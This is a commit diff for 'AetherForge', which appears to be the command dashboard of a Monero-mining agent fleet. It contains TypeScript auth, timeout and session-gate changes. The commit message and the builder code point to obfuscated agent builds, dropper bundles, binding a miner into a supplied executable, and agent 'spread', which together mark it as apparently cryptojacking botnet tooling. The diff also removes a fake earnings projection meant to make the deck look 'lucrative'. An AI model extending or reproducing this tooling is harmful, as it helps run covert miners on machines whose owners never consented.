fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

server/web/src/api/auth.test.ts

@@ -2,26 +2,66 @@
  * @vitest-environment happy-dom
  */
 import { beforeEach, describe, expect, it, vi } from 'vitest';
-import { authHeaders, clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
+import {
+  AETHERFORGE_CLIENT_HEADER,
+  AETHERFORGE_CLIENT_VALUE,
+  authHeaders,
+  clearStoredAuth,
+  consumeAuthExpiredFlag,
+  encodeBasicToken,
+  getStoredAuth,
+  setStoredAuth,
+} from '../api/auth';
+
+const AUTH_KEY = 'aetherforge_auth';
 
 describe('auth session helpers', () => {
   beforeEach(() => {
     sessionStorage.clear();
+    localStorage.clear();
   });
 
-  it('stores and retrieves basic token', () => {
+  it('stores and retrieves basic token in session and local storage', () => {
     setStoredAuth('drjones', 'secret');
-    expect(getStoredAuth()).toBe(btoa('drjones:secret'));
+    const token = encodeBasicToken('drjones', 'secret');
+    expect(getStoredAuth()).toBe(token);
+    expect(sessionStorage.getItem(AUTH_KEY)).toBe(token);
+    expect(localStorage.getItem(AUTH_KEY)).toBe(token);
   });
 
-  it('builds Authorization header when logged in', () => {
+  it('reads from localStorage when sessionStorage is empty', () => {
+    const token = encodeBasicToken('user', 'pass');
+    localStorage.setItem(AUTH_KEY, token);
+    expect(getStoredAuth()).toBe(token);
+  });
+
+  it('builds Authorization and client header when logged in', () => {
     setStoredAuth('user', 'pass');
-    expect(authHeaders()).toEqual({ Authorization: `Basic ${btoa('user:pass')}` });
+    expect(authHeaders()).toEqual({
+      [AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
+      Authorization: `Basic ${encodeBasicToken('user', 'pass')}`,
+    });
   });
 
-  it('returns empty headers when logged out', () => {
+  it('includes client header when logged out', () => {
     clearStoredAuth();
-    expect(authHeaders()).toEqual({});
+    expect(authHeaders()).toEqual({
+      [AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
+    });
+  });
+
+  it('clears both storages on logout', () => {
+    setStoredAuth('user', 'pass');
+    clearStoredAuth();
+    expect(sessionStorage.getItem(AUTH_KEY)).toBeNull();
+    expect(localStorage.getItem(AUTH_KEY)).toBeNull();
+    expect(getStoredAuth()).toBeNull();
+  });
+
+  it('encodeBasicToken supports non-ASCII passwords', () => {
+    const token = encodeBasicToken('user', 'päss');
+    expect(token).toBeTruthy();
+    expect(token).not.toBe(btoa('user:päss'));
   });
 
   it('getStoredAuth returns null when sessionStorage throws', () => {
@@ -30,4 +70,11 @@ describe('auth session helpers', () => {
     });
     expect(getStoredAuth()).toBeNull();
   });
+
+  it('consumeAuthExpiredFlag is set once on expired logout', () => {
+    setStoredAuth('user', 'pass');
+    clearStoredAuth({ expired: true });
+    expect(consumeAuthExpiredFlag()).toBe(true);
+    expect(consumeAuthExpiredFlag()).toBe(false);
+  });
 });

server/web/src/api/auth.ts

@@ -1,30 +1,105 @@
 const AUTH_KEY = 'aetherforge_auth';
+const AUTH_EXPIRED_KEY = 'aetherforge_auth_expired';
 
-export function getStoredAuth(): string | null {
+export const AETHERFORGE_CLIENT_HEADER = 'X-AetherForge-Client';
+export const AETHERFORGE_CLIENT_VALUE = 'dashboard';
+
+/** UTF-8-safe Basic auth token (username:password) for Authorization header. */
+export function encodeBasicToken(username: string, password: string): string {
+  const bytes = new TextEncoder().encode(`${username}:${password}`);
+  let binary = '';
+  for (let i = 0; i < bytes.length; i++) {
+    binary += String.fromCharCode(bytes[i]);
+  }
+  return btoa(binary);
+}
+
+function readAuthStorage(): string | null {
   try {
-    return sessionStorage.getItem(AUTH_KEY);
+    const session = sessionStorage.getItem(AUTH_KEY);
+    if (session) return session;
+  } catch {
+    /* sessionStorage blocked */
+  }
+  try {
+    return localStorage.getItem(AUTH_KEY);
   } catch {
     return null;
   }
 }
 
+function writeAuthStorage(token: string) {
+  try {
+    sessionStorage.setItem(AUTH_KEY, token);
+  } catch {
+    /* ignore */
+  }
+  try {
+    localStorage.setItem(AUTH_KEY, token);
+  } catch {
+    /* ignore */
+  }
+}
+
+function removeAuthStorage() {
+  try {
+    sessionStorage.removeItem(AUTH_KEY);
+  } catch {
+    /* ignore */
+  }
+  try {
+    localStorage.removeItem(AUTH_KEY);
+  } catch {
+    /* ignore */
+  }
+}
+
+export function getStoredAuth(): string | null {
+  return readAuthStorage();
+}
+
 export function setStoredAuth(username: string, password: string, opts?: { silent?: boolean }) {
-  const token = btoa(`${username}:${password}`);
-  sessionStorage.setItem(AUTH_KEY, token);
+  const token = encodeBasicToken(username, password);
+  writeAuthStorage(token);
   if (!opts?.silent) {
     window.dispatchEvent(new Event('aetherforge-auth'));
   }
 }
 
-export function clearStoredAuth(opts?: { silent?: boolean }) {
-  sessionStorage.removeItem(AUTH_KEY);
+export function clearStoredAuth(opts?: { silent?: boolean; expired?: boolean }) {
+  if (opts?.expired) {
+    try {
+      sessionStorage.setItem(AUTH_EXPIRED_KEY, '1');
+    } catch {
+      /* ignore */
+    }
+  }
+  removeAuthStorage();
   if (!opts?.silent) {
     window.dispatchEvent(new Event('aetherforge-auth'));
   }
 }
 
+/** True once after a 401 cleared stored credentials; consumed by SessionGate login UI. */
+export function consumeAuthExpiredFlag(): boolean {
+  try {
+    if (sessionStorage.getItem(AUTH_EXPIRED_KEY)) {
+      sessionStorage.removeItem(AUTH_EXPIRED_KEY);
+      return true;
+    }
+  } catch {
+    /* ignore */
+  }
+  return false;
+}
+
 export function authHeaders(): Record<string, string> {
+  const headers: Record<string, string> = {
+    [AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
+  };
   const token = getStoredAuth();
-  if (!token) return {};
-  return { Authorization: `Basic ${token}` };
+  if (token) {
+    headers.Authorization = `Basic ${token}`;
+  }
+  return headers;
 }

server/web/src/api/client.test.ts

@@ -22,6 +22,7 @@ describe('api client', () => {
 
   beforeEach(() => {
     sessionStorage.clear();
+    localStorage.clear();
     fetchMock = vi.fn();
     vi.stubGlobal('fetch', fetchMock);
   });
@@ -38,6 +39,7 @@ describe('api client', () => {
   function expectAuthHeaders(init: RequestInit) {
     const headers = init.headers as Record<string, string>;
     expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
+    expect(headers['X-AetherForge-Client']).toBe('dashboard');
   }
 
   it('sends JSON Content-Type and auth on listAgents', async () => {
@@ -69,6 +71,16 @@ describe('api client', () => {
 
     const headers = lastFetch().init.headers as Record<string, string>;
     expect(headers.Authorization).toBeUndefined();
+    expect(headers['X-AetherForge-Client']).toBe('dashboard');
+  });
+
+  it('clears stored auth on 401 API response', async () => {
+    setStoredAuth('user', 'pass');
+    fetchMock.mockResolvedValueOnce(textResponse('Unauthorized', 401));
+
+    await expect(api.listAgents()).rejects.toThrow('API error 401');
+    expect(sessionStorage.getItem('aetherforge_auth')).toBeNull();
+    expect(localStorage.getItem('aetherforge_auth')).toBeNull();
   });
 
   it('getAgentStats appends limit query param', async () => {
@@ -111,6 +123,18 @@ describe('api client', () => {
     expect(url).toBe('/api/v1/builder/build');
     expect(init.method).toBe('POST');
     expect(init.body).toBe(JSON.stringify(req));
+    expect(init.signal).toBeDefined();
+  });
+
+  it('buildAgent surfaces server error from JSON body', async () => {
+    const req = { fusion_enabled: false, wallet: '4' + 'A'.repeat(94) } as Parameters<typeof api.buildAgent>[0];
+    fetchMock.mockResolvedValueOnce({
+      ok: false,
+      status: 500,
+      text: async () => JSON.stringify({ success: false, error: 'compile failed (garble): OOM' }),
+    });
+
+    await expect(api.buildAgent(req)).rejects.toThrow('compile failed (garble): OOM');
   });
 
   it('buildAgent rejects fusion without prep file', async () => {

server/web/src/api/client.ts

@@ -1,11 +1,72 @@
 import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
-import { authHeaders } from './auth';
+import { authHeaders, clearStoredAuth } from './auth';
+import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
 
 const API_BASE = '/api/v1';
 
+/** Forge compiles (garble / universal / fusion) can run 10–30+ minutes. */
+export const FORGE_BUILD_TIMEOUT_MS = 45 * 60 * 1000;
+
+/** Fusion size estimate uploads prep.exe — allow longer than default REST. */
+const FUSION_ESTIMATE_TIMEOUT_MS = 2 * 60 * 1000;
+
+/** Agent log refresh=1 may block until new lines arrive. */
+const AGENT_LOG_REFRESH_TIMEOUT_MS = 90 * 1000;
+
 // Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
 // omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
 
+function forgeTimeoutError(): Error {
+  return new Error(
+    'Forge timed out — max settings (garble, universal, fusion) can take 30+ minutes. ' +
+      'Wait longer, disable obfuscation, or forge one target at a time.',
+  );
+}
+
+async function parseForgeBuildResponse(res: Response): Promise<BuildResponse> {
+  const text = await res.text();
+  if (!res.ok) {
+    try {
+      const body = JSON.parse(text) as BuildResponse;
+      if (body.error) {
+        throw new Error(body.error);
+      }
+    } catch (e) {
+      if (e instanceof Error && !(e instanceof SyntaxError) && !e.message.startsWith('API error')) {
+        throw e;
+      }
+    }
+    throw new Error(text.trim() || `Build failed (${res.status})`);
+  }
+  return JSON.parse(text) as BuildResponse;
+}
+
+async function postForgeBuild(url: string, init: RequestInit): Promise<BuildResponse> {
+  const controller = new AbortController();
+  const timer = setTimeout(() => controller.abort(), FORGE_BUILD_TIMEOUT_MS);
+  try {
+    const res = await fetch(`${API_BASE}${url}`, {
+      ...init,
+      signal: controller.signal,
+      headers: {
+        ...authHeaders(),
+        ...(init.headers as Record<string, string> | undefined),
+      },
+    });
+    if (res.status === 401) {
+      clearStoredAuth({ expired: true });
+    }
+    return await parseForgeBuildResponse(res);
+  } catch (e) {
+    if (e instanceof DOMException && e.name === 'AbortError') {
+      throw forgeTimeoutError();
+    }
+    throw e;
+  } finally {
+    clearTimeout(timer);
+  }
+}
+
 async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> {
   const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal };
   const controller = new AbortController();
@@ -24,10 +85,18 @@ async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 1000
       },
     });
     if (!res.ok) {
+      if (res.status === 401) {
+        clearStoredAuth({ expired: true });
+      }
       const err = await res.text();
       throw new Error(`API error ${res.status}: ${err}`);
     }
     return res.json();
+  } catch (e) {
+    if (e instanceof DOMException && e.name === 'AbortError') {
+      throw new Error(`Request timed out after ${Math.round(timeoutMs / 1000)}s`);
+    }
+    throw e;
   } finally {
     clearTimeout(timer);
   }
@@ -65,20 +134,14 @@ export const api = {
       const form = new FormData();
       form.append('config', JSON.stringify(req));
       form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
-      return fetch(`${API_BASE}/builder/build`, {
+      return postForgeBuild('/builder/build', {
         method: 'POST',
-        headers: authHeaders(),
         body: form,
-      }).then(async (res) => {
-        if (!res.ok) {
-          const err = await res.text();
-          throw new Error(`API error ${res.status}: ${err}`);
-        }
-        return res.json() as Promise<BuildResponse>;
       });
     }
-    return fetchJSON<BuildResponse>('/builder/build', {
+    return postForgeBuild('/builder/build', {
       method: 'POST',
+      headers: { 'Content-Type': 'application/json' },
       body: JSON.stringify(req),
     });
   },
@@ -90,17 +153,31 @@ export const api = {
     const form = new FormData();
     form.append('config', JSON.stringify(req));
     form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
+    const controller = new AbortController();
+    const timer = setTimeout(() => controller.abort(), FUSION_ESTIMATE_TIMEOUT_MS);
     return fetch(`${API_BASE}/builder/estimate`, {
       method: 'POST',
       headers: authHeaders(),
       body: form,
-    }).then(async (res) => {
-      if (!res.ok) {
-        const err = await res.text();
-        throw new Error(`API error ${res.status}: ${err}`);
-      }
-      return res.json() as Promise<FusionEstimate>;
-    });
+      signal: controller.signal,
+    })
+      .then(async (res) => {
+        if (res.status === 401) {
+          clearStoredAuth({ expired: true });
+        }
+        if (!res.ok) {
+          const err = await res.text();
+          throw new Error(`API error ${res.status}: ${err}`);
+        }
+        return res.json() as Promise<FusionEstimate>;
+      })
+      .catch((e) => {
+        if (e instanceof DOMException && e.name === 'AbortError') {
+          throw new Error('Fusion estimate timed out — try a smaller prep file or retry.');
+        }
+        throw e;
+      })
+      .finally(() => clearTimeout(timer));
   },
 
   pinBuild: (buildId: string) =>
@@ -159,12 +236,17 @@ export const api = {
       body: JSON.stringify(mac ? { mac } : {}),
     }),
   getAgentLog: (id: string, refresh = false) =>
-    fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
+    fetchJSON<{ agent_id: string; content: string }>(
+      `/agents/${id}/log${refresh ? '?refresh=1' : ''}`,
+      undefined,
+      refresh ? AGENT_LOG_REFRESH_TIMEOUT_MS : 10000,
+    ),
 
   downloadAgentLog: async (id: string): Promise<void> => {
-    const res = await fetch(`${API_BASE}/agents/${id}/log?download=1`, {
-      headers: { ...authHeaders() },
-    });
+    const res = await fetchAuthedWithTimeout(
+      `${API_BASE}/agents/${id}/log?download=1`,
+      DOWNLOAD_TIMEOUT_MS,
+    );
     if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
     const blob = await res.blob();
     const url = URL.createObjectURL(blob);
@@ -236,9 +318,8 @@ export const api = {
 
   // Full deck backup — downloads a zip containing config.json, users.json, miner.db.
   downloadBackup: async (): Promise<void> => {
-    const res = await fetch(`${API_BASE}/backup`, {
+    const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {
       method: 'GET',
-      headers: { ...authHeaders() },
     });
     if (!res.ok) {
       const err = await res.text();

server/web/src/api/download.test.ts

@@ -2,7 +2,7 @@
  * @vitest-environment happy-dom
  */
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
-import { downloadAuthedFile, downloadApiFile } from './download';
+import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout } from './download';
 import { setStoredAuth } from './auth';
 
 describe('downloadAuthedFile', () => {
@@ -11,6 +11,7 @@ describe('downloadAuthedFile', () => {
 
   beforeEach(() => {
     sessionStorage.clear();
+    localStorage.clear();
     fetchMock = vi.fn();
     vi.stubGlobal('fetch', fetchMock);
     clickMock = vi.fn();
@@ -30,7 +31,9 @@ describe('downloadAuthedFile', () => {
 
     const [url, init] = fetchMock.mock.calls[0];
     expect(url).toBe('/api/v1/builds/b1/download');
-    expect((init.headers as Record<string, string>).Authorization).toBe(`Basic ${btoa('user:pass')}`);
+    const headers = init.headers as Record<string, string>;
+    expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
+    expect(headers['X-AetherForge-Client']).toBe('dashboard');
     expect(clickMock).toHaveBeenCalled();
   });
 
@@ -65,4 +68,18 @@ describe('downloadAuthedFile', () => {
   it('downloadApiFile is an alias', () => {
     expect(downloadApiFile).toBe(downloadAuthedFile);
   });
+
+  it('throws timeout message when download exceeds limit', async () => {
+    fetchMock.mockImplementation((_url, init?: RequestInit) => {
+      return new Promise((_, reject) => {
+        init?.signal?.addEventListener('abort', () => {
+          reject(new DOMException('The operation was aborted.', 'AbortError'));
+        });
+      });
+    });
+
+    await expect(fetchAuthedWithTimeout('/api/v1/builds/x/download', 1500)).rejects.toThrow(
+      'Download timed out after 2s',
+    );
+  });
 });

server/web/src/api/download.ts

@@ -1,9 +1,46 @@
 import { authHeaders } from './auth';
 
+/** Large build artifacts (ZIP, fusion bundles). */
+export const DOWNLOAD_TIMEOUT_MS = 5 * 60 * 1000;
+
+/** Full deck backup zip — may include DB + config. */
+export const BACKUP_DOWNLOAD_TIMEOUT_MS = 10 * 60 * 1000;
+
+function downloadTimeoutError(timeoutMs: number): Error {
+  return new Error(`Download timed out after ${Math.round(timeoutMs / 1000)}s`);
+}
+
+/** Authenticated fetch with abort timeout and consistent AbortError messaging. */
+export async function fetchAuthedWithTimeout(
+  url: string,
+  timeoutMs: number,
+  init?: RequestInit,
+): Promise<Response> {
+  const controller = new AbortController();
+  const timer = setTimeout(() => controller.abort(), timeoutMs);
+  try {
+    return await fetch(url, {
+      ...init,
+      signal: controller.signal,
+      headers: {
+        ...authHeaders(),
+        ...(init?.headers as Record<string, string> | undefined),
+      },
+    });
+  } catch (e) {
+    if (e instanceof DOMException && e.name === 'AbortError') {
+      throw downloadTimeoutError(timeoutMs);
+    }
+    throw e;
+  } finally {
+    clearTimeout(timer);
+  }
+}
+
 /** Download a protected /api/v1 file using session auth (build uninstall scripts, etc.). */
 export async function downloadAuthedFile(apiPath: string, filename: string): Promise<void> {
   const path = apiPath.startsWith('/api/v1') ? apiPath : `/api/v1${apiPath.startsWith('/') ? apiPath : `/${apiPath}`}`;
-  const res = await fetch(path, { headers: authHeaders() });
+  const res = await fetchAuthedWithTimeout(path, DOWNLOAD_TIMEOUT_MS);
   if (!res.ok) {
     const err = await res.text();
     throw new Error(err || `Download failed (${res.status})`);

server/web/src/components/Charts/HashrateChart.tsx

@@ -50,17 +50,15 @@ export default function HashrateChart({
   const gradId = colorToId(color);
   const peak = chartSeriesPeak(data);
   const delta = chartSeriesDelta(data);
-  const liveLabel =
-    displayMode === 'live' ? '● LIVE' : displayMode === 'blend' ? '● SYNCING' : '● PROJECTION';
-  const liveClass =
-    displayMode === 'live' ? 'pulse' : displayMode === 'blend' ? 'blend' : 'sample';
+  const liveLabel = displayMode === 'live' ? '● LIVE' : '○ IDLE';
+  const liveClass = displayMode === 'live' ? 'pulse' : 'empty';
 
   if (data.length === 0) {
     return (
       <div className="chart-empty neon-chart-panel wealth-empty">
         <div className="chart-empty-icon">◈</div>
         <p className="font-tech">{title || 'Telemetry'}</p>
-        <span>Calibrating chart telemetry…</span>
+        <span>No live data yet — connect miners to populate this chart</span>
       </div>
     );
   }

server/web/src/components/Fleet/FleetPanels.tsx

@@ -5,7 +5,6 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
 import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
 import { timeToPayout } from '../../help/fleetAnalytics';
 import { formatHashrate } from '../../help/fleetFilters';
-import { SAMPLE_FLEET_PREVIEW } from '../../help/chartSampleData';
 import './FleetPanels.css';
 
 export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
@@ -174,26 +173,6 @@ export function EarningsEstimator({ hashrate, xmrPrice }: { hashrate: number; xm
   );
 }
 
-/** Shown when fleet hashrate is zero — keeps the deck feeling lucrative. */
-export function WealthEarningsPreview({ xmrPrice }: { xmrPrice?: number | null }) {
-  const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
-  const xmrDay = SAMPLE_FLEET_PREVIEW.xmrPerDay;
-  const usdDay = xmrDay * price;
-
-  return (
-    <NeonCard accent="gold" className="stat-card-wrap earnings-preview wealth-earnings">
-      <div className="earnings-preview-badge font-tech">PROJECTED YIELD</div>
-      <div className="stat-label font-tech">Target Fleet Earnings</div>
-      <div className="stat-value neon-glow-gold">~{xmrDay.toFixed(4)} XMR/day</div>
-      <div className="earnings-usd-day">≈ ${usdDay.toFixed(2)}/day</div>
-      <div className="stat-sub">At {formatHashrate(SAMPLE_FLEET_PREVIEW.hashrate)} fleet target</div>
-      <div className="stat-sub" style={{ marginTop: 4, opacity: 0.55, fontSize: '0.68rem' }}>
-        Deploy miners to replace projection with live pool data
-      </div>
-    </NeonCard>
-  );
-}
-
 // ─── Fleet Health Card ────────────────────────────────────────────────────────
 
 export function FleetHealthCard({ health }: { health: FleetHealth }) {
@@ -231,24 +210,20 @@ export function ContributionBars({
   bars,
   xmrPerDay,
   xmrPrice,
-  sample = false,
 }: {
   bars: ContributionBar[];
   xmrPerDay?: number;
   xmrPrice?: number | null;
-  sample?: boolean;
 }) {
   if (bars.length === 0) return null;
   return (
-    <NeonCard accent="cyan" className={`section contrib-panel${sample ? ' sample-contrib' : ''}`} hud>
+    <NeonCard accent="cyan" className="section contrib-panel" hud>
       <h2 className="section-title font-display">
         <span className="section-ornament">◆</span> Contribution Map
         <span className="section-line" />
       </h2>
       <p className="form-hint" style={{ marginTop: 0 }}>
-        {sample
-          ? 'Sample contribution map — your rigs will populate this lane when they connect.'
-          : "Each bar shows a machine's share of total fleet hashrate."}
+        Each bar shows a machine&apos;s share of total fleet hashrate.
       </p>
       <div className="contrib-list">
         {bars.map((b) => {

server/web/src/components/SessionGate.tsx

@@ -1,103 +1,159 @@
-import { useEffect, useState, type ReactNode } from 'react';
-import { getStoredAuth, setStoredAuth } from '../api/auth';
-import { useSound } from '../context/SoundContext';
-import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
-
-export default function SessionGate({ children }: { children: ReactNode }) {
-  const { play } = useSound();
-  const [ready, setReady] = useState(false);
-  const [authed, setAuthed] = useState(!!getStoredAuth());
-  const [user, setUser] = useState('');
-  const [pass, setPass] = useState('');
-  const [err, setErr] = useState('');
-
-  useEffect(() => {
-    const token = getStoredAuth();
-    if (!token) {
-      setAuthed(false);
-      setReady(true);
-      return;
-    }
-    fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } })
-      .then((r) => {
-        setAuthed(r.ok);
-        setReady(true);
-      })
-      .catch(() => {
-        setAuthed(false);
-        setReady(true);
-      });
-  }, []);
-
-  const handleLogin = async (e: React.FormEvent) => {
-    e.preventDefault();
-    setErr('');
-    const token = btoa(`${user}:${pass}`);
-    try {
-      const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
-      if (!res.ok) {
-        setErr('Login failed — check username and password.');
-        play('error');
-        return;
-      }
-      setStoredAuth(user, pass);
-      setAuthed(true);
-      play('success');
-    } catch {
-      setErr('Cannot reach server — check that miner-server is running.');
-    }
-  };
-
-  if (!ready) {
-    return (
-      <div className="session-gate">
-        <div className="session-gate-sacred-ring" aria-hidden>
-          <FlowerOfLifeWatermark opacity={0.5} />
-        </div>
-        <p className="font-tech">Starting AetherForge…</p>
-      </div>
-    );
-  }
-
-  if (!authed) {
-    return (
-      <div className="session-gate">
-        <div className="session-gate-sacred-ring" aria-hidden>
-          <FlowerOfLifeWatermark opacity={0.5} />
-        </div>
-        <div className="session-gate-keys" aria-hidden>
-          <div className="session-gate-key session-gate-key--tl">
-            <KnowledgeKey opacity={0.55} />
-          </div>
-          <div className="session-gate-key session-gate-key--br">
-            <KnowledgeKey opacity={0.45} />
-          </div>
-        </div>
-        <form className="session-gate-card card" onSubmit={handleLogin}>
-          <h1 className="font-display">AetherForge</h1>
-          <p className="form-hint">Sign in to open the command deck.</p>
-          <label className="label" htmlFor="session-user">Username</label>
-          <input id="session-user" className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" />
-          <label className="label" htmlFor="session-pass">Password</label>
-          <input
-            id="session-pass"
-            className="input"
-            type="password"
-            value={pass}
-            onChange={(e) => setPass(e.target.value)}
-            autoComplete="current-password"
-          />
-          {err && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{err}</p>}
-          <button type="submit" className="btn btn-primary btn-lg">
-            Enter Command Deck
-          </button>
-          <p className="session-gate-whisper" aria-hidden>
-            ψ · the deck remembers every key
-          </p>
-        </form>
-      </div>
-    );
-  }
-
-  return <>{children}</>;
-}
+import { useEffect, useState, type ReactNode } from 'react';
+
+import {
+
+  AETHERFORGE_CLIENT_HEADER,
+
+  AETHERFORGE_CLIENT_VALUE,
+
+  authHeaders,
+
+  clearStoredAuth,
+
+  consumeAuthExpiredFlag,
+
+  encodeBasicToken,
+
+  getStoredAuth,
+
+  setStoredAuth,
+
+} from '../api/auth';
+
+import { useSound } from '../context/SoundContext';
+
+import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
+
+
+
+export default function SessionGate({ children }: { children: ReactNode }) {
+
+  const { play } = useSound();
+
+  const [ready, setReady] = useState(false);
+
+  const [authed, setAuthed] = useState(!!getStoredAuth());
+
+  const [degraded, setDegraded] = useState(false);
+
+  const [user, setUser] = useState('');
+
+  const [pass, setPass] = useState('');
+
+  const [err, setErr] = useState('');
+
+  const [sessionExpired, setSessionExpired] = useState(false);
+
+
+
+  useEffect(() => {
+
+    const sync = () => {
+
+      const hasAuth = !!getStoredAuth();
+
+      setAuthed(hasAuth);
+
+      if (!hasAuth) {
+
+        setSessionExpired(consumeAuthExpiredFlag());
+
+      }
+
+    };
+
+    window.addEventListener('aetherforge-auth', sync);
+
+    return () => window.removeEventListener('aetherforge-auth', sync);
+
+  }, []);
+
+
+
+  useEffect(() => {
+
+    const token = getStoredAuth();
+
+    if (!token) {
+
+      setAuthed(false);
+
+      setSessionExpired(consumeAuthExpiredFlag());
+
+      setReady(true);
+
+      return;
+
+    }
+
+    fetch('/api/v1/config', { headers: authHeaders() })
+
+      .then((r) => {
+
+        if (r.status === 401) {
+
+          clearStoredAuth({ silent: true, expired: true });
+
+          setAuthed(false);
+
+          setSessionExpired(true);
+
+        } else if (!r.ok) {
+
+          // Server reachable but unhappy — keep saved credentials (degraded mode).
+
+          setAuthed(true);
+
+          setDegraded(true);
+
+        } else {
+
+          setAuthed(true);
+
+          setDegraded(false);
+
+        }
+
+        setReady(true);
+
+      })
+
+      .catch(() => {
+
+        // Network blip — trust stored credentials until the server responds.
+
+        setAuthed(true);
+
+        setDegraded(true);
+
+        setReady(true);
+
+      });
+
+  }, []);
+
+
+
+  const handleLogin = async (e: React.FormEvent) => {
+
+    e.preventDefault();
+
+    setErr('');
+
+    setSessionExpired(false);
+
+    const headers: Record<string, string> = {
+
+      [AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
+
+      Authorization: `Basic ${encodeBasicToken(user, pass)}`,
+
+    };
+
+    try {
+
+      const res = await fetch('/api/v1/config', { headers });
+
+      if (!res.ok) {
+
+        setErr('Login failed — check username and password.');

server/web/src/components/Visual/VisualComponents.tsx

@@ -73,12 +73,12 @@ interface ActivityPulseProps {
   items: { id: string; label: string; ok: boolean; time?: string }[];
 }
 
-export function ActivityPulse({ items, sample = false }: ActivityPulseProps & { sample?: boolean }) {
+export function ActivityPulse({ items }: ActivityPulseProps) {
   if (items.length === 0) {
     return <p className="activity-empty font-tech">Awaiting fleet activity…</p>;
   }
   return (
-    <div className={`activity-pulse${sample ? ' sample-activity' : ''}`}>
+    <div className="activity-pulse">
       {items.slice(0, 12).map((item) => (
         <div key={item.id} className={`activity-blip ${item.ok ? 'ok' : 'bad'}`} title={item.time || item.label}>
           <span className="activity-blip-core" />

server/web/src/components/components.test.tsx

@@ -65,15 +65,22 @@ vi.mock('../context/ForgeContext', () => ({
   useForge: vi.fn(() => ({ forging: false, stage: '' })),
 }));
 
-vi.mock('../api/download', () => ({
-  downloadApiFile: vi.fn(),
-  downloadAuthedFile: vi.fn(),
-}));
+vi.mock('../api/download', () => {
+  const downloadAuthedFile = vi.fn();
+  return {
+    downloadAuthedFile,
+    downloadApiFile: downloadAuthedFile,
+  };
+});
 
-vi.mock('../api/auth', () => ({
-  getStoredAuth: vi.fn(),
-  setStoredAuth: vi.fn(),
-}));
+vi.mock('../api/auth', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('../api/auth')>();
+  return {
+    ...actual,
+    getStoredAuth: vi.fn(),
+    setStoredAuth: vi.fn(),
+  };
+});
 
 vi.mock('qrcode', () => ({
   default: {
@@ -174,9 +181,7 @@ describe('DownloadButton', () => {
     );
     const btn = screen.getByRole('button', { name: 'Save' });
     await userEvent.setup().click(btn);
-    await waitFor(() => {
-      expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
-    });
+    expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
     await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
   });
 
@@ -283,7 +288,7 @@ describe('SessionGate', () => {
 
   it('renders children when stored auth validates', async () => {
     getStoredAuthMock.mockReturnValue('dGVzdA==');
-    vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: true }));
+    vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: true, status: 200 }));
     render(
       <SessionGate>
         <div>protected</div>
@@ -291,6 +296,18 @@ describe('SessionGate', () => {
     );
     await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
   });
+
+  it('keeps session on network blip during startup validation', async () => {
+    getStoredAuthMock.mockReturnValue('dGVzdA==');
+    vi.stubGlobal('fetch', vi.fn().mockRejectedValue(new Error('ECONNREFUSED')));
+    render(
+      <SessionGate>
+        <div>protected</div>
+      </SessionGate>
+    );
+    await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
+    expect(screen.getByRole('status')).toHaveTextContent(/Cannot reach server/i);
+  });
 });
 
 describe('GaugeRing', () => {
@@ -320,7 +337,7 @@ describe('HashrateChart', () => {
   it('shows empty state when data is empty', () => {
     render(<HashrateChart data={[]} title="Fleet Hash" />);
     expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
-    expect(screen.getByText(/Calibrating chart telemetry/i)).toBeInTheDocument();
+    expect(screen.getByText(/No live data yet/i)).toBeInTheDocument();
   });
 
   it('renders chart with validated sample series', () => {
@@ -329,14 +346,14 @@ describe('HashrateChart', () => {
